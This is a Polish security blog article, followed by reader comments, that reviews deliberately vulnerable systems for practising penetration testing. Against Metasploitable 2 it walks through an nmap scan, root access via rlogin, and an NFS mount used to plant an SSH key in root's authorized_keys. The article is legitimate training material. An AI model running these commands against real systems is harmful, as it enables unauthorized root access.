Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Trenowanie testów penetracyjnych na żywych systemach
Wstęp
W dzisiejszym tekście z cyklu „Narzędzia” zajmiemy się… workami treningowymi. Nie będę oczywiście rozwodził się nad przyborami wykorzystywanymi przez miłośników sportów walki, zamiast tego zajmiemy się systemami stworzonymi specjalnie z myślą o praktycznym trenowaniu testów penetracyjnych.
Wielu początkujących w temacie ofensywnego bezpieczeństwa informatycznego rozpoczyna naukę narzędzi takich jak Metasploit Framework. By takie ćwiczenia miały sens i jednocześnie dawały nam prawdziwe praktyczne doświadczenie, należy jeszcze skorzystać ze wspomnianych worków treningowych.
Zapraszam więc do krótkiego przeglądu rozwiązań, które pozwolą na wygodne i bezpieczne stawianie pierwszych kroków w testach penetracyjnych.
21LTR
W przypadku 21LTR scenariusz jest bardzo prosty. Mamy do dyspozycji LiveCD z systemem, który mamy poddać testowi penetracyjnemu na zasadach określonych przez klienta. Jak to zwykle bywa w takich przypadkach, naszym podstawowym zadaniem jest zaraportowanie podatności, które uda się zidentyfikować. W takim razie do dzieła!
Lab in a box
Lab in a box został przygotowany przez PenTestlaboratory i ma do zaoferowania całe wirtualne laboratorium składające się zarówno z systemu służącego do przeprowadzania szkoleniowych testów penetracyjnych, jak i z systemów „ofiar”. Całość pozwala na wygodne stawianie pierwszych kroków przyszłym pentesterom.
Exploit-Exercises: Nebula, Protostar, Fusion
Exploit-Exercises to bardzo interesujący zbiór maszyn wirtualnych oraz dedykowanych dla nich ćwiczeń z zakresu praktycznego wykorzystywania rozmaitych podatności w systemach operacyjnych oraz przygotowywania własnych exploitów. Będziemy mogli przećwiczyć takie zagadnienia jak: Stack overflow, Heap overflow, Address Space Layout Randomisation, Position Independent Executables, Non-executable Memory, Source Code Fortification (_DFORTIFY_SOURCE=), Stack Smashing Protection (ProPolice / SSP), Timing attacks i inne.
Metasploitable 2
Metasploitable to obecnie jeden z najbardziej znanych systemów przeznaczonych do nauki praktycznych testów penetracyjnych. Projekt powstał w firmie Rapid7, czyli zespole odpowiedzialnym za rozwój projektu Metasploit. Metasploitable jest zorientowany przede wszystkim na typowe podatności i błędy konfiguracyjne w systemie operacyjnym oraz w usługach sieciowych. Wszystko to powoduje, że M2 to idealny system do rozpoczęcia bezpiecznej przygody z testami penetracyjnymi. Spójrzmy więc, jak to wygląda w praktyce!
Gdy już zdecydujemy się na praktyczne ćwiczenia z naszym workiem treningowym, możemy zacząć od małego rekonesansu z wykorzystaniem nmapa, przykładowo nmap -p- X.X.X.X. Dla systemu Metasploitable 2 otrzymamy następujące wyniki:
Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open unknown 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open unknown 39292/tcp open unknown 43729/tcp open unknown 44813/tcp open unknown 55852/tcp open unknown
Jak widać, do wyboru mamy sporo usług, a niemal każda z nich pozwoala na zdalne uzyskanie dostępu do systemu.
Do wykorzystania niektórych luk nie będziemy nawet potrzebować żadnych specjalnych narzędzi. Spójrzmy na otwarty port TCP 513. Czyżby administrator korzystał z rloginu? Być może dla własnej wygody zezwolił również na zdalny dostęp dla dowolnego hosta? Sprawdźmy go!
# rlogin -l root X.X.X.X
W wyniku otrzymamy… root@metasploitable:~#
Czasem wystarczy więc tylko tyle, by zdalnie uzyskać pełną kontrolę nad docelowym systemem.
Teraz spójrzmy na Network File System (NFS).
root@ubuntu:~# showmount -e X.X.X.X Export list for X.X.X.X: / *
Ponieważ na docelowym systemie działa SSH, w powyższej sytuacji wystarczy tylko wygenerować klucz SSH i podrzucić go naszej ofierze.
root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. root@ubuntu:~# mkdir /tmp/r00t root@ubuntu:~# mount -t nfs X.X.X.X:/ /tmp/r00t/ root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys root@ubuntu:~# umount /tmp/r00t root@ubuntu:~# ssh root@X.X.X.X
Efekt? Ten sam co wcześniej, czyli… root@metasploitable:~#
Wniosek jest więc taki, że Metasploitable może zostać zdobyte na wiele sposobów. Mamy tu do dyspozycji jeszcze m.in. słabe hasła, backdoory oraz wiele różnych dziurawych usług sieciowych, dzięki czemu będziemy mogli również w praktyce przećwiczyć wiele modułów składających się na Metasploit Framework.
Z powyższych przykładów widać, że systemy takie jak Metasploitable stanowią nieocenioną pomoc w trakcie konfigurowania laboratoriów dla mniej lub bardziej zaawansowanych pentesterów. Dzięki nim możemy w bezpieczny i wygodny sposób testować rozmaite narzędzia oraz dowolnie rozwijać własne umiejętności.
Jeśli chcecie podzielić się z nami swoimi ulubionymi systemami tego typu, zapraszamy do dyskusji i wymiany doświadczeń.
— Wojciech Smol, (wojciech.smol<at>sekurak.pl)
Bardzo ciekawy wpis dla początkujących nie tylko pentesterow ale również sysadminow, którzy chcą pocwiczyc swoje umiejętności
Jak to dobrze że Wojciech wrócił : )
Interesujące rzeczy! Proszę o więcej, dużo więcej. Jak jeszcze można dostać się do metasploitable? Takie praktyczne przykłady mógłbym czytać bez końca.
Działa komuś torrent z laboratorium ?
[…] Lista z sekuraka: http://sekurak.pl/trenowanie-testow-penetracyjnych-na-zywych-systemach/ […]
Pobieram metasploitable i za każdym razem mam inny hash pliku. Dodatkowo pobranego pliku nie mozna rozpakować.
Najlepiej by było pobrac za pomocą torrenta, ale czy znacie jakieś pewne źródło?
Pobierasz stąd? http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Dzieki za odpowiedz. Tak, ale skontaktowalem sie z programistami z rapid7 i szybko mi odpisali :
No torrent that I know of, but you can download it direct from Rapid7 here. The downside is it is required registration:
http://information.rapid7.com/metasploitable-download.html
Ściągnąłem, przekonwertowałem z vmdk do vhd, niestety pod hyperv (a jest to moj glowny hypervisor) nie dziala siec.
Po dodaniu w
nano /etc/initramfs-tools/modules
hv_vmbus
hv_blkvscb
hv_netvsc
hv_storvsc
i nastepnie
update-initramfs -u
reboot
System nie startuje.